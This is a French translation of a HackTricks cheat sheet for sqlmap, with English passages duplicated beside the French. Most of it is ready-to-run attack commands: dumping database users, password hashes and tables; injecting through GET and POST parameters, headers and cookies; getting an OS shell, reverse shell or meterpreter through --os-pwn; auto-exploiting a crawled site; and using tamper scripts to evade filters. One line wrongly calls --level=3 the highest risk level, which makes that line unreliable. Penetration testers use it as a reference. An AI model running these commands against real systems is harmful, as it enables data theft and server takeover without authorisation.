16 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Arguments de base pour SQLmap
Générique
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
Récupérer des informations
Interne
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
Données de la base de données
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Emplacement de l'injection
À partir de la capture Burp/ZAP
Capturez la requête et créez un fichier req.txt.
sqlmap -r req.txt --current-user
Injection de requête GET
Basic Usage
Utilisation de base
sqlmap -u "http://www.target.com/vuln.php?id=1" --dbms=mysql --level=5 --risk=3 --batch --threads=5
Description
Description
L'injection de requête GET est une technique d'injection SQL qui exploite les vulnérabilités des paramètres de requête GET d'une application Web. Cette technique est similaire à l'injection de requête POST, mais elle cible les paramètres de requête GET.
Lorsqu'un utilisateur soumet une requête GET, les paramètres de la requête sont inclus dans l'URL. Par exemple, dans l'URL suivante :
http://www.example.com/search.php?query=example
Le paramètre de requête est query
et sa valeur est example
.
L'injection de requête GET peut être utilisée pour extraire des informations sensibles de la base de données de l'application Web, telles que des noms d'utilisateur, des mots de passe et des données personnelles. Elle peut également être utilisée pour modifier les données de la base de données ou pour exécuter des commandes à distance sur le serveur.
Exemple
Considérons l'URL suivante :
http://www.example.com/vuln.php?id=1
Nous pouvons utiliser sqlmap pour tester si le paramètre id
est vulnérable à une injection de requête GET :
sqlmap -u "http://www.example.com/vuln.php?id=1" --dbms=mysql --level=5 --risk=3 --batch --threads=5
Si le paramètre id
est vulnérable, sqlmap affichera les informations de la base de données et les données sensibles qu'il a pu extraire.
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
Injection de requête POST
Basic POST Request Injection
Injection de requête POST basique
Example
Exemple
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
username=admin&password=1234
SQLMap Command
Commande SQLMap
sqlmap -u "http://example.com/login" --data "username=admin&password=1234" --method POST
Explanation
Explication
In a POST request, the parameters are sent in the body of the request, instead of in the URL. To perform a POST request injection, we need to use the --data
option in SQLMap to specify the parameters that we want to inject.
Dans une requête POST, les paramètres sont envoyés dans le corps de la requête, plutôt que dans l'URL. Pour effectuer une injection de requête POST, nous devons utiliser l'option --data
dans SQLMap pour spécifier les paramètres que nous voulons injecter.
Additional Options
Options supplémentaires
-
--method
: specifies the HTTP method to use (default isGET
) -
--cookie
: specifies the cookie to use for authentication -
--proxy
: specifies the proxy to use for requests -
--method
: spécifie la méthode HTTP à utiliser (par défaut, c'estGET
) -
--cookie
: spécifie le cookie à utiliser pour l'authentification -
--proxy
: spécifie le proxy à utiliser pour les requêtes
sqlmap -u "http://example.com" --data "username=*&password=*"
Injections dans les en-têtes et autres méthodes HTTP
Injection in Headers
Injection dans les en-têtes
Headers can also be vulnerable to injection attacks, especially when they are used to transmit sensitive information such as authentication tokens or session IDs. In some cases, headers can also be used to bypass security controls or to perform other malicious actions.
Les en-têtes peuvent également être vulnérables aux attaques d'injection, en particulier lorsqu'ils sont utilisés pour transmettre des informations sensibles telles que des jetons d'authentification ou des identifiants de session. Dans certains cas, les en-têtes peuvent également être utilisés pour contourner les contrôles de sécurité ou pour effectuer d'autres actions malveillantes.
To test for injection vulnerabilities in headers, you can use the --headers
option in sqlmap. This option allows you to specify custom headers to be sent with the request, which can be used to inject payloads into the headers.
Pour tester les vulnérabilités d'injection dans les en-têtes, vous pouvez utiliser l'option --headers
dans sqlmap. Cette option vous permet de spécifier des en-têtes personnalisés à envoyer avec la requête, ce qui peut être utilisé pour injecter des charges utiles dans les en-têtes.
For example, the following command tests for injection vulnerabilities in the Authorization
header:
Par exemple, la commande suivante teste les vulnérabilités d'injection dans l'en-tête Authorization
:
sqlmap -r request.txt --headers="Authorization: <injection_payload>"
Injection in other HTTP Methods
Injection dans d'autres méthodes HTTP
In addition to GET and POST requests, other HTTP methods such as PUT, DELETE, and OPTIONS can also be vulnerable to injection attacks. These methods are often used in REST APIs to create, update, or delete resources.
En plus des requêtes GET et POST, d'autres méthodes HTTP telles que PUT, DELETE et OPTIONS peuvent également être vulnérables aux attaques d'injection. Ces méthodes sont souvent utilisées dans les API REST pour créer, mettre à jour ou supprimer des ressources.
To test for injection vulnerabilities in these methods, you can use the --method
option in sqlmap. This option allows you to specify the HTTP method to be used in the request.
Pour tester les vulnérabilités d'injection dans ces méthodes, vous pouvez utiliser l'option --method
dans sqlmap. Cette option vous permet de spécifier la méthode HTTP à utiliser dans la requête.
For example, the following command tests for injection vulnerabilities in a PUT request:
Par exemple, la commande suivante teste les vulnérabilités d'injection dans une requête PUT :
sqlmap -r request.txt --method=PUT
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Injection de second ordre
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Shell
Coquille
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Parcourir un site web avec SQLmap et auto-exploiter
SQLmap est un outil puissant pour l'exploitation de vulnérabilités de type injection SQL. Il peut être utilisé pour parcourir un site web à la recherche de vulnérabilités et les exploiter automatiquement.
Pour parcourir un site web avec SQLmap, vous pouvez utiliser la commande suivante :
sqlmap -u <URL> --crawl=1
Cela permettra à SQLmap de parcourir le site web et de collecter des informations sur les paramètres de l'URL et les formulaires. Si SQLmap détecte une vulnérabilité d'injection SQL, il vous demandera si vous souhaitez l'exploiter automatiquement.
Il est important de noter que l'exploitation automatique peut être dangereuse car elle peut causer des dommages au site web. Il est recommandé d'utiliser l'option --level
pour spécifier le niveau de risque que vous êtes prêt à prendre. Par exemple, --level=3
est le niveau de risque le plus élevé et peut causer des dommages importants au site web.
En utilisant SQLmap avec précaution, vous pouvez parcourir un site web à la recherche de vulnérabilités d'injection SQL et les exploiter automatiquement pour obtenir des informations sensibles.
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Personnalisation de l'injection
Ajouter un suffixe
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Préfixe
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Aide pour trouver une injection booléenne
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Altération
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Description |
---|---|
apostrophemask.py | Remplace le caractère apostrophe par son homologue UTF-8 pleine largeur |
apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal |
appendnullbyte.py | Ajoute un octet NULL encodé à la fin de la charge utile |
base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
between.py | Remplace l'opérateur supérieur à '>' par 'NOT BETWEEN 0 AND #' |
bluecoat.py | Remplace l'espace après l'instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
chardoubleencode.py | Encode en double URL tous les caractères d'une charge utile donnée sans traiter ceux déjà encodés |
commalesslimit.py | Remplace les occurrences telles que 'LIMIT M, N' par 'LIMIT N OFFSET M' |
commalessmid.py | Remplace les occurrences telles que 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
concat2concatws.py | Remplace les occurrences telles que 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Encode en URL tous les caractères d'une charge utile donnée sans traiter ceux déjà encodés |
charunicodeencode.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée sans traiter ceux déjà encodés . "%u0022" |
charunicodeescape.py | Encode en Unicode-URL les caractères non encodés d'une charge utile donnée sans traiter ceux déjà encodés . "\u0022" |
equaltolike.py | Remplace toutes les occurrences de l'opérateur égal '=' par l'opérateur 'LIKE' |
escapequotes.py | Échappe les guillemets ' and " |
greatest.py | Remplace l'opérateur supérieur à '>' par son homologue GREATEST |
halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
ifnull2ifisnull.py | Remplace les occurrences telles que 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire de version zéro |
multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres |
percentage.py | Ajoute un signe de pourcentage '%' devant chaque caractère |
overlongutf8.py | Convertit tous les caractères d'une charge utile donnée sans traiter ceux déjà encodés |
randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire |
randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
securesphere.py | Ajoute une chaîne spécialement conçue |
sp_password.py | Ajoute 'sp_password' à la fin de la charge utile pour l'obfuscation automatique des journaux DBMS |
space2comment.py | Remplace l'espace ' ' par des commentaires |
space2dash.py | Remplace l'espace ' ' par un commentaire de tiret '--' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n' |
space2hash.py | Remplace l'espace ' ' par un caractère dièse '\#' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n' |
space2morehash.py | Remplace l'espace ' ' par un caractère dièse '\#' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n' |
space2mssqlblank.py | Remplace l'espace ' ' par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
space2mssqlhash.py | Remplace l'espace ' ' par un caractère dièse '\#' suivi d'une nouvelle ligne '\n' |
space2mysqlblank.py | Remplace l'espace ' ' par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
space2mysqldash.py | Remplace l'espace ' ' par un commentaire de tiret '--' suivi d'une nouvelle ligne '\n' |
space2plus.py | Remplace l'espace ' ' par un signe plus '+' |
space2randomblank.py | Remplace l'espace ' ' par un caractère blanc aléatoire à partir d'un ensemble valide de caractères alternatifs |
symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et |
unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
unmagicquotes.py | Remplace le caractère de citation ' par une combinaison multioctet %bf%27 avec un commentaire générique à la fin pour le faire fonctionner |
uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |